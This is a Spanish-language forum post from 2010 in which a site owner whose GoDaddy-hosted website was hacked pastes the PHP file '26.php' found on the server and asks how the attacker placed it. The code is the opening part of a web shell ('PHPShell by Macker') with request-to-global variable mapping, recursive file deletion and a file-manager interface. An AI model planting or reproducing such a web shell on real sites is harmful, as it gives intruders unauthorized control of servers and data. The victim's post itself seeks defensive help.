Tema: se bajaron mi web ... ayuda
Ver Mensaje Individual
  #1 (permalink)  
Antiguo 13/07/2010, 14:14
mtubillas
 
Fecha de Ingreso: enero-2009
Ubicación: Lima
Mensajes: 47
Antigüedad: 15 años, 4 meses
Puntos: 0
se bajaron mi web ... ayuda
Hola amigos .. hoy hackearon mi web un tal F3L0M4N, he encontrado en el host un archivo llamado 26.php el cual tiene el siguiente codigo:

Código PHP: 
Ver original
  1. <?php 
  2.  
  3.  
  4.  
  5. $SFileName=$PHP_SELF;               /*I added this to ensure the script will run correctly...
  6.                                     Please enter the Script's filename in this variable.*
  7.  
  8.                     /* uncomment the two following variables if you want to use http
  9.                        authentication. This will password protect your PHPShell */
  10.  
  11. function walkArray($array){
  12.   while (list($key, $data) = each($array)) {
  13.     if (is_array($data)) {
  14.       walkArray($data);
  15.     }
  16.     else {
  17.       global $$key;
  18.       $$key = $data;
  19.     }
  20.   }
  21. }
  22. if (isset($_PUT)) walkArray($_PUT);
  23. if (isset($_GET)) walkArray($_GET);
  24. if (isset($_POST)) walkArray($_POST);
  25.  
  26. error_reporting(0);
  27. $PHPVer=phpversion();
  28. $isGoodver=(intval($PHPVer[0])>=4);
  29. $scriptTitle = "PHPShell";
  30. $scriptident = "$scriptTitle by Macker";
  31.  
  32. if (empty($Pmax))
  33.     $Pmax = 50;   /* Identifies the max amount of Directories and files listed on one page */
  34. if (empty($Pidx)) 
  35.     $Pidx = 0;
  36.  
  37. $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
  38. $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  39.  
  40. $scriptdate = "30 march 2003";
  41. $scriptver = "Version 2.6.3dev";
  42. $LOCAL_IMAGE_DIR = "img";
  43. $REMOTE_IMAGE_URL = "img";
  44. $img = array(
  45.                 "Edit"      => "edit.JPG",
  46.                 "Download"  => "download.JPG",
  47.                 "Upload"    => "upload.JPG",
  48.                 "Delete"    => "delete.JPG",
  49.                 "View"      => "view.JPG",
  50.                 "Rename"    => "rename.JPG",
  51.                 "Move"      => "move.JPG",
  52.                 "Copy"      => "copy.JPG",
  53.                 "Execute"   => "exec.JPG"
  54.             );
  55.  
  56. while (list($id, $im)=each($img))
  57.     if (file_exists("$LOCAL_IMAGE_DIR/$im"))
  58.         $img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">";
  59.     else
  60.         $img[$id] = "[$id]";
  61.  
  62.  
  63. /* HTTP AUTHENTICATION */
  64.  
  65.     if  ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || md5($PHP_AUTH_PW) != $http_auth_pass)  ||  (($logoff==1) && $noauth=="yes")  )   { 
  66.         setcookie("noauth","");
  67.         Header( "WWW-authenticate:  Basic realm=\"$scriptTitle $scriptver\"");
  68.         Header( "HTTP/1.0  401  Unauthorized");
  69.         echo "Your username or password is incorrect";
  70.         echo "\n\n" . md5($PHP_AUTH_PW);
  71.  
  72.         exit ;
  73.                  
  74.     } 
  75.  
  76. function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr);  } 
  77.  
  78. function Mydeldir($Fdir) {
  79.     if (is_dir($Fdir)) {
  80.         $Fh=@opendir($Fdir);
  81.         while ($Fbuf = readdir($Fh))
  82.             if (($Fbuf != ".") && ($Fbuf != ".."))
  83.                 Mydeldir("$Fdir/$Fbuf");
  84.         @closedir($Fh);
  85.                 return rmdir($Fdir);
  86.     }   else {
  87.         return unlink($Fdir);
  88.     }
  89. }
  90.  
  91. function formatsize($insize) {  
  92.     $size = $insize;
  93.     $add = "B";
  94.     if ($size > 1024) {
  95.         $size = intval(intval($size) / 1.024)/1000;
  96.         $add = "KB";
  97.     }
  98.     if ($size > 1024) {
  99.         $size = intval(intval($size) / 1.024)/1000;
  100.         $add = "MB";
  101.     }
  102.     if ($size > 1024) {
  103.         $size = intval(intval($size) / 1.024)/1000;
  104.         $add = "GB";
  105.     }
  106.     if ($size > 1024) {
  107.         $size = intval(intval($size) / 1.024)/1000;
  108.         $add = "TB";
  109.     }
  110.     return "$size $add";
  111. }
  112.  
  113. if ($cmd != "downl") {
  114.     ?>
  115.  
  116. <!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?>  -->
  117. <HTML>
  118.  <HEAD>
  119.   <STYLE>
  120.   <!--
  121.     A{ text-decoration:none; color:navy; font-size: 12px }
  122.     body { font-size: 12px;
  123.             background-image: url(img/repeat.bmp); 
  124.             scrollbar-width: 5;
  125.         scrollbar-face-color: silver;
  126.         scrollbar-shadow-color: gray;
  127.         scrollbar-highlight-color: white;
  128.         scrollbar-3dlight-color:black;
  129.         scrollbar-darkshadow-color: black;
  130.         scrollbar-track-color:#dddddd;
  131.         scrollbar-arrow-color: black;
  132.     }
  133.     Table { font-size: 12px; }
  134.     TR{ font-size: 12px; }
  135.     TD{ font-size: 12px; BORDER-LEFT: black 0px solid; BORDER-RIGHT: black 0px solid; BORDER-TOP: black 0px solid; BORDER-BOTTOM: black 0px solid; COLOR: black; }
  136.     .border{       BORDER-LEFT: black 1px solid;
  137.            BORDER-RIGHT: black 1px solid;
  138.            BORDER-TOP: black 1px solid;
  139.            BORDER-BOTTOM: black 1px solid;
  140.          }
  141.     .none  {       BORDER-LEFT: black 0px solid;
  142.            BORDER-RIGHT: black 0px solid;
  143.            BORDER-TOP: black 0px solid;
  144.            BORDER-BOTTOM: black 0px solid;
  145.          }
  146.     .inputtext {
  147.             background-color: #EFEFEF;
  148.             border: 1px solid #000000;
  149.             height: 20;
  150.     }
  151.     .inputbutton {
  152.                         background-color: silver;
  153.             border: 1px solid #000000;
  154.             border-width: 1px;
  155.             height: 20;
  156.     }
  157.     .white {
  158.      background-color: #FFFFFF;
  159.      }
  160.     .inputtextarea {
  161.             background-color: #EFEFEF;
  162.             border: 1px solid #000000;
  163.             scrollbar-width: 5;
  164.             scrollbar-height: 5;
  165.             scrollbar-face-color: #EFEFEF;
  166.             scrollbar-shadow-color: silver;
  167.             scrollbar-highlight-color: #EFEFEF;
  168.             scrollbar-3dlight-color:silver;
  169.             scrollbar-darkshadow-color: silver;
  170.             scrollbar-track-color: #EFEFEF;
  171.             scrollbar-arrow-color: black;
  172.     }
  173.     .top { BORDER-TOP: black 1px solid; }
  174.     .textin { BORDER-LEFT: silver 1px solid;
  175.               BORDER-RIGHT: silver 1px solid;
  176.           BORDER-TOP: silver 1px solid;
  177.               BORDER-BOTTOM: silver 1px solid;
  178.               width: 99%; font-size: 12px; font-weight: bold; color: navy;
  179.             }
  180.     .notop { BORDER-TOP: black 0px solid; }
  181.     .bottom { BORDER-BOTTOM: black 1px solid; }
  182.     .nobottom { BORDER-BOTTOM: black 0px solid; }
  183.     .left { BORDER-LEFT: black 1px solid; }
  184.     .noleft { BORDER-LEFT: black 0px solid; }
  185.     .right { BORDER-RIGHT: black 1px solid; }
  186.     .noright { BORDER-RIGHT: black 0px solid; }
  187.     .silver{ BACKGROUND: silver; }
  188.   -->
  189.   </STYLE>
  190.   <TITLE><?php echo $SFileName ?></TITLE>
  191.  </HEAD>
  192.  <body bottommargin="0" rightmargin="0" topmargin="0" leftmargin="0">
  193.  <table width=100% height="100%" NOWRAP border="0">
  194.   <tr NOWRAP>
  195.    <td width="100%" NOWRAP>
  196.     <table NOWRAP width=100% height="100%" border="0" cellpadding="0" cellspacing="0">
  197.      <tr>
  198.       <td width="100%" height="15" class="silver border">
  199.        <center>
  200.         <strong>
  201.          <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font>
  202.             </strong>
  203.        </center>
  204.       </td>
  205.      </tr>
  206.      <tr><td valign="middle"><br>
  207.  
  208.     <?php
  209. }
  210.  
  211. if ( $cmd=="dir" ) {
  212.     $h=@opendir($dir);
  213.     if ($h == false) {
  214.         echo "<br><font color=\"red\">&nbsp;&nbsp;&nbsp;\n\n\n\n
  215.                 COULD NOT OPEN THIS DIRECTORY!!!<br>&nbsp;&nbsp;&nbsp;\n
  216.                 THE SCRIPT WILL RESULT IN AN ERROR!!!
  217.                 <br><br>&nbsp;&nbsp;&nbsp;\n
  218.                 PLEASE MAKE SURE YOU'VE GOT READ PERMISSIONS TO THE DIR...
  219.                 <br><br></font>\n\n\n\n";
  220.     }
  221.         if (function_exists('realpath')) {
  222.         $partdir = realpath($dir);
  223.     }
  224.         else {
  225.         $partdir = $dir;
  226.     }
  227.     if (strlen($partdir) >= 100) {
  228.         $partdir = substr($partdir, -100);
  229.         $pos = strpos($partdir, "/");
  230.         if (strval($pos) != "") {
  231.             $partdir = "<--   ...".substr($partdir, $pos);
  232.         }
  233.         $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
  234.         $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir ))); 
  235.     $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  236.     }
  237.     ?>

No se si el hacker tuvo accedo via FTP o como hizo para dejar ese archivo en el Host,

mi host es de godaddy,

desde ya muchas gracias por als sugerencias